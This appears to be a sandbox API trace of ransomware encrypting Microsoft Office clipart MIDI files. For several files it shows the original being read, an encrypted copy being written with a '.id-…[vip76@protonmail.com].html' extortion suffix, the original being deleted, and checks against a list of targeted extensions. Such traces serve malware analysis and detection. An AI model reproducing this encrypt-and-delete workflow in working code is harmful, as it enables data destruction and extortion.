	[0179.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.738] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.738] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0179.889] GetLastError () returned 0x0
	[0179.889] ReadFile (in: hFile=0x5bc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x246a, lpOverlapped=0x0) returned 1
	[0179.907] WriteFile (in: hFile=0x4ac, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2470, lpOverlapped=0x0) returned 1
	[0179.908] ReadFile (in: hFile=0x5bc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.908] WriteFile (in: hFile=0x4ac, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.908] SetEndOfFile (hFile=0x4ac) returned 1
	[0179.909] CloseHandle (hObject=0x4ac) returned 1
	[0179.909] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.909] SetEndOfFile (hFile=0x5bc) returned 1
	[0179.912] CloseHandle (hObject=0x5bc) returned 1
	[0179.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.913] lstrlenW (lpString=".doc") returned 4
	[0179.913] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.913] lstrlenW (lpString=".docx") returned 5
	[0179.913] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.913] lstrlenW (lpString=".pdf") returned 4
	[0179.913] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.913] lstrlenW (lpString=".xls") returned 4
	[0179.913] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.913] lstrlenW (lpString=".xlsx") returned 5
	[0179.913] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.913] lstrlenW (lpString=".ppt") returned 4
	[0179.913] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.913] lstrlenW (lpString=".zip") returned 4
	[0179.913] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.913] lstrlenW (lpString=".rar") returned 4
	[0179.913] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.913] lstrlenW (lpString=".bz2") returned 4
	[0179.913] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.913] lstrlenW (lpString=".7z") returned 3
	[0179.913] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.913] lstrlenW (lpString=".dbf") returned 4
	[0179.913] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.913] lstrlenW (lpString=".1cd") returned 4
	[0179.913] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.914] lstrlenW (lpString=".jpg") returned 4
	[0179.914] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.914] lstrlenW (lpString=".doc") returned 4
	[0179.914] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.914] lstrlenW (lpString=".docx") returned 5
	[0179.914] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.914] lstrlenW (lpString=".pdf") returned 4
	[0179.914] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.914] lstrlenW (lpString=".xls") returned 4
	[0179.914] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.914] lstrlenW (lpString=".xlsx") returned 5
	[0179.914] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.914] lstrlenW (lpString=".ppt") returned 4
	[0179.914] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.914] lstrlenW (lpString=".zip") returned 4
	[0179.914] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.914] lstrlenW (lpString=".rar") returned 4
	[0179.914] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.914] lstrlenW (lpString=".bz2") returned 4
	[0179.914] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.914] lstrlenW (lpString=".7z") returned 3
	[0179.914] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.914] lstrlenW (lpString=".dbf") returned 4
	[0179.914] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.914] lstrlenW (lpString=".1cd") returned 4
	[0179.914] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0179.915] lstrlenW (lpString=".jpg") returned 4
	[0179.915] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.915] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0179.915] lstrlenW (lpString="GRID_01.MID") returned 11
	[0179.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.008] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=6331) returned 1
	[0180.008] CloseHandle (hObject=0x5bc) returned 1
	[0180.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220
	[0180.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0181.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0181.550] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.556] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0182.244] GetLastError () returned 0x0
	[0182.244] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x18bb, lpOverlapped=0x0) returned 1
	[0182.275] WriteFile (in: hFile=0x36c, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x18c0, lpOverlapped=0x0) returned 1
	[0182.277] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.277] WriteFile (in: hFile=0x36c, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1
	[0182.277] SetEndOfFile (hFile=0x36c) returned 1
	[0182.277] CloseHandle (hObject=0x36c) returned 1
	[0182.277] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.277] SetEndOfFile (hFile=0x514) returned 1
	[0182.282] CloseHandle (hObject=0x514) returned 1
	[0182.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0182.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1
	[0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.283] lstrlenW (lpString=".doc") returned 4
	[0182.283] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.283] lstrlenW (lpString=".docx") returned 5
	[0182.283] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0182.283] lstrlenW (lpString=".pdf") returned 4
	[0182.283] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.283] lstrlenW (lpString=".xls") returned 4
	[0182.283] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.284] lstrlenW (lpString=".xlsx") returned 5
	[0182.284] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0182.284] lstrlenW (lpString=".ppt") returned 4
	[0182.284] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.284] lstrlenW (lpString=".zip") returned 4
	[0182.284] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.284] lstrlenW (lpString=".rar") returned 4
	[0182.284] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.284] lstrlenW (lpString=".bz2") returned 4
	[0182.284] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.284] lstrlenW (lpString=".7z") returned 3
	[0182.284] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.284] lstrlenW (lpString=".dbf") returned 4
	[0182.284] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.284] lstrlenW (lpString=".1cd") returned 4
	[0182.284] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.284] lstrlenW (lpString=".jpg") returned 4
	[0182.284] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.284] lstrlenW (lpString=".doc") returned 4
	[0182.284] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.285] lstrlenW (lpString=".docx") returned 5
	[0182.285] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0182.285] lstrlenW (lpString=".pdf") returned 4
	[0182.285] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.285] lstrlenW (lpString=".xls") returned 4
	[0182.285] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.285] lstrlenW (lpString=".xlsx") returned 5
	[0182.285] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0182.285] lstrlenW (lpString=".ppt") returned 4
	[0182.285] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.285] lstrlenW (lpString=".zip") returned 4
	[0182.285] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.285] lstrlenW (lpString=".rar") returned 4
	[0182.285] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.285] lstrlenW (lpString=".bz2") returned 4
	[0182.285] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.285] lstrlenW (lpString=".7z") returned 3
	[0182.285] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.285] lstrlenW (lpString=".dbf") returned 4
	[0182.285] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.285] lstrlenW (lpString=".1cd") returned 4
	[0182.285] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0182.285] lstrlenW (lpString=".jpg") returned 4
	[0182.286] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.286] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0182.286] lstrlenW (lpString="PARNT_05.MID") returned 12
	[0182.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0182.289] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=6020) returned 1
	[0182.289] CloseHandle (hObject=0x514) returned 1
	[0182.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220
	[0182.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0182.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0182.290] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.290] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0182.291] GetLastError () returned 0x0
	[0182.291] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x1784, lpOverlapped=0x0) returned 1
	[0182.293] WriteFile (in: hFile=0x36c, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x1790, lpOverlapped=0x0) returned 1
	[0182.295] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.295] WriteFile (in: hFile=0x36c, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.295] SetEndOfFile (hFile=0x36c) returned 1
	[0182.295] CloseHandle (hObject=0x36c) returned 1
	[0182.295] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.295] SetEndOfFile (hFile=0x514) returned 1
	[0182.299] CloseHandle (hObject=0x514) returned 1
	[0182.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0182.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1
	[0182.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.300] lstrlenW (lpString=".doc") returned 4
	[0182.300] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.300] lstrlenW (lpString=".docx") returned 5
	[0182.300] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0182.300] lstrlenW (lpString=".pdf") returned 4
	[0182.300] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.300] lstrlenW (lpString=".xls") returned 4
	[0182.300] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.301] lstrlenW (lpString=".xlsx") returned 5
	[0182.301] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0182.301] lstrlenW (lpString=".ppt") returned 4
	[0182.301] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.301] lstrlenW (lpString=".zip") returned 4
	[0182.301] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.301] lstrlenW (lpString=".rar") returned 4
	[0182.301] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.301] lstrlenW (lpString=".bz2") returned 4
	[0182.301] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.301] lstrlenW (lpString=".7z") returned 3
	[0182.301] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.301] lstrlenW (lpString=".dbf") returned 4
	[0182.301] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.301] lstrlenW (lpString=".1cd") returned 4
	[0182.301] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.301] lstrlenW (lpString=".jpg") returned 4
	[0182.301] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.301] lstrlenW (lpString=".doc") returned 4
	[0182.302] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0182.302] lstrlenW (lpString=".docx") returned 5
	[0182.302] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0182.302] lstrlenW (lpString=".pdf") returned 4
	[0182.302] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0182.302] lstrlenW (lpString=".xls") returned 4
	[0182.302] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0182.302] lstrlenW (lpString=".xlsx") returned 5
	[0182.302] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0182.302] lstrlenW (lpString=".ppt") returned 4
	[0182.302] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.302] lstrlenW (lpString=".zip") returned 4
	[0182.302] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0182.302] lstrlenW (lpString=".rar") returned 4
	[0182.302] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0182.302] lstrlenW (lpString=".bz2") returned 4
	[0182.302] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0182.302] lstrlenW (lpString=".7z") returned 3
	[0182.302] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.302] lstrlenW (lpString=".dbf") returned 4
	[0182.302] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.302] lstrlenW (lpString=".1cd") returned 4
	[0182.302] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0182.302] lstrlenW (lpString=".jpg") returned 4
	[0182.303] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0182.303] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0182.303] lstrlenW (lpString="PARNT_06.MID") returned 12
	[0182.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0182.304] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=7768) returned 1
	[0182.304] CloseHandle (hObject=0x514) returned 1
	[0182.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220
	[0182.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
